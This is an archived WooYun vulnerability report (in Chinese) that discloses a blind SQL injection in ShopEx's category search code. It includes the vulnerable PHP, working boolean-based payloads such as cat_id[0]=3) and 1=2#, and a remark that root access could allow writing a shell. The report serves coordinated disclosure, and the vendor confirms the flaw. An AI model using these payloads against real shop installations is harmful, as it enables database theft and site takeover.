当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-024563

漏洞标题:shopex注入漏洞#5

相关厂商:ShopEx

漏洞作者: Code_Sec

提交时间:2013-05-27 09:50

修复时间:2013-08-25 09:51

公开时间:2013-08-25 09:51

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-27: 细节已通知厂商并且等待厂商处理中
2013-05-27: 厂商已经确认,细节仅向厂商公开
2013-05-30: 细节向第三方安全合作伙伴开放
2013-07-21: 细节向核心白帽子及相关领域专家公开
2013-07-31: 细节向普通白帽子公开
2013-08-10: 细节向实习白帽子公开
2013-08-25: 细节向公众公开

简要描述:

详细说明:

在文件\core\shop\controller\ctl.search.php

function showCat(){
$objCat = &$this->system->loadModel('goods/productCat');
$this->pagedata['cat'] = $objCat->get($_POST['cat_id']);
$this->__tmpl = 'search/showCat.html';
$this->output();
}


跟进goods/productCat模块的get函数

public function get( $cat_id, $view, $type_id = null )
{
if ( !function_exists( "gcat_get" ) )
{
require( CORE_INCLUDE_DIR."/core/gcat.get.php" );
}
return gcat_get( $cat_id, $view, $type_id, $this );
}


跟到/core/gcat.get.php中gcat_get函数

function gcat_get( $cat_id, $view, $type_id = null, &$object )
{
if ( !is_array( $cat_id ) )
{
$cat_id = array(
0 + $cat_id
);
}
else
{
array_walk( $cat_id, "intval" );
}
if ( $type_id )
{
$sqlString = "SELECT t.props,t.schema_id,t.setting,t.type_id,t.spec FROM sdb_goods_type t\n WHERE type_id =".intval( $type_id );
}
else if ( $cat_id[0] )
{
$cat_id = "(".implode( $cat_id, " OR " ).")";
$sqlString = "SELECT c.cat_id,c.cat_name,c.tabs,c.addon,t.props,t.schema_id,t.setting,t.type_id,t.spec FROM sdb_goods_cat c\n LEFT JOIN sdb_goods_type t ON c.type_id = t.type_id\n WHERE cat_id in ".$cat_id;
}


看起来array_walk( $cat_id, "intval" );已经使用函数intval对数组$cat_id过滤掉。但是实际上过滤了但是不会改变数组$cat_id的值
提交:cat_id[0]=3) and 1=2# 输出sql语句:

SELECT c.cat_id,c.cat_name,c.tabs,c.addon,t.props,t.schema_id,t.setting,t.type_id,t.spec FROM sdb_goods_cat c LEFT JOIN sdb_goods_type t ON c.type_id = t.type_id WHERE cat_id in (3) and 1=2#)

漏洞证明:

测试不能使用union,只能慢慢猜。如果是root权限的话可以到出shell
提交:cat_id[0]=3)#

2013-05-26_213842.jpg


提交:cat_id[0]=3) and 1=2#

2013-05-26_213921.jpg


提交:cat_id[0]=3) and 1=1#

2013-05-26_214004.jpg

修复方案:

过滤吧

版权声明:转载请注明来源 Code_Sec@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-05-27 12:10

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无